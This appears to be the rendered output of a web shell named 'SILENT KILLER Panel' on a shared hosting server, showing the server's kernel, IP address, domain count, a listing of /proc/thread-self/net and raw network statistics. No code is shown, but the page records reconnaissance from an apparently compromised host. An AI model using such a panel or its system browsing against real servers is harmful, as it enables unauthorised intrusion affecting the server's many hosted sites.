SILENT KILLERPanel

Current Path: > > proc > thread-self > net


Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.44
Domains      : 1034 Domain(s)
Permission   : [ 0555 ]

Files and Folders in: //proc/thread-self/net

NameTypeSizeLast ModifiedActions
dev_snmp6 Directory - -
netfilter Directory - -
nfsfs Directory - -
rpc Directory - -
stat Directory - -
anycast6 File 0 bytes September 19 2025 20:36:00.
arp File 0 bytes September 19 2025 20:36:00.
connector File 0 bytes September 19 2025 20:36:00.
dev File 0 bytes September 19 2025 20:36:00.
dev_mcast File 0 bytes September 19 2025 20:36:00.
fib_trie File 0 bytes September 19 2025 20:36:00.
fib_triestat File 0 bytes September 19 2025 20:36:00.
icmp File 0 bytes September 19 2025 20:36:00.
icmp6 File 0 bytes September 19 2025 20:36:00.
if_inet6 File 0 bytes September 19 2025 20:36:00.
igmp File 0 bytes September 19 2025 20:36:00.
igmp6 File 0 bytes September 19 2025 20:36:00.
ip6_flowlabel File 0 bytes September 19 2025 20:36:00.
ip6_mr_cache File 0 bytes September 19 2025 20:36:00.
ip6_mr_vif File 0 bytes September 19 2025 20:36:00.
ip_mr_cache File 0 bytes September 19 2025 20:36:00.
ip_mr_vif File 0 bytes September 19 2025 20:36:00.
ip_tables_matches File 0 bytes September 19 2025 20:36:00.
ip_tables_names File 0 bytes September 19 2025 20:36:00.
ip_tables_targets File 0 bytes September 19 2025 20:36:00.
ipv6_route File 0 bytes September 19 2025 20:36:00.
mcfilter File 0 bytes September 19 2025 20:36:00.
mcfilter6 File 0 bytes September 19 2025 20:36:00.
netlink File 0 bytes September 19 2025 20:36:00.
netstat File 0 bytes September 19 2025 20:36:00.
nf_conntrack File 0 bytes September 19 2025 20:36:00.
nf_conntrack_expect File 0 bytes September 19 2025 20:36:00.
packet File 0 bytes September 19 2025 20:36:00.
protocols File 0 bytes September 19 2025 20:36:00.
psched File 0 bytes September 19 2025 20:36:00.
ptype File 0 bytes September 19 2025 20:36:00.
raw File 0 bytes September 19 2025 20:36:00.
raw6 File 0 bytes September 19 2025 20:36:00.
route File 0 bytes September 19 2025 20:36:00.
rt6_stats File 0 bytes September 19 2025 20:36:00.
rt_acct File 0 bytes September 19 2025 20:36:00.
rt_cache File 0 bytes September 19 2025 20:36:00.
snmp File 0 bytes September 19 2025 20:36:00.
snmp6 File 0 bytes September 19 2025 20:36:00.
sockstat File 0 bytes September 19 2025 20:36:00.
sockstat6 File 0 bytes September 19 2025 20:36:00.
softnet_stat File 0 bytes September 19 2025 20:36:00.
tcp File 0 bytes September 19 2025 20:36:00.
tcp6 File 0 bytes September 19 2025 20:36:00.
udp File 0 bytes September 19 2025 20:36:00.
udp6 File 0 bytes September 19 2025 20:36:00.
udplite File 0 bytes September 19 2025 20:36:00.
udplite6 File 0 bytes September 19 2025 20:36:00.
unix File 0 bytes September 19 2025 20:36:00.
xfrm_stat File 0 bytes September 19 2025 20:36:00.

Reading File: //proc/thread-self/net/snmp

Ip: Forwarding DefaultTTL InReceives InHdrErrors InAddrErrors ForwDatagrams InUnknownProtos InDiscards InDelivers OutRequests OutDiscards OutNoRoutes ReasmTimeout ReasmReqds ReasmOKs ReasmFails FragOKs FragFails FragCreates
Ip: 2 64 13404270036 0 83 0 0 0 12082048657 12168407853 550950 93587 42 2596378391 1298189124 73 0 105 0
Icmp: InMsgs InErrors InCsumErrors InDestUnreachs InTimeExcds InParmProbs InSrcQuenchs InRedirects InEchos InEchoReps InTimestamps InTimestampReps InAddrMasks InAddrMaskReps OutMsgs OutErrors OutDestUnreachs OutTimeExcds OutParmProbs OutSrcQuenchs OutRedirects OutEchos OutEchoReps OutTimestamps OutTimestampReps OutAddrMasks OutAddrMaskReps
Icmp: 8108830 164354 470 5841636 10565 0 0 87717 2079861 88581 0 0 0 0 5737648 0 3480593 32 0 0 0 177162 2079861 0 0 0 0
IcmpMsg: InType0 InType3 InType5 InType8 InType11 OutType0 OutType3 OutType8 OutType11
IcmpMsg: 88581 5841636 87717 2079861 10565 2079861 3480593 177162 32
Tcp: RtoAlgorithm RtoMin RtoMax MaxConn ActiveOpens PassiveOpens AttemptFails EstabResets CurrEstab InSegs OutSegs RetransSegs InErrs OutRsts InCsumErrors
Tcp: 1 200 120000 -1 502182172 521207292 100732806 547183914 778 12041027326 20177388577 89833512 9232 624469461 20
Udp: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors InCsumErrors IgnoredMulti MemErrors
Udp: 84928108 130688 15332 85878554 15332 0 0 34 0
UdpLite: InDatagrams NoPorts InErrors OutDatagrams RcvbufErrors SndbufErrors InCsumErrors IgnoredMulti MemErrors
UdpLite: 0 0 0 0 0 0 0 0 0

SILENT KILLER Tool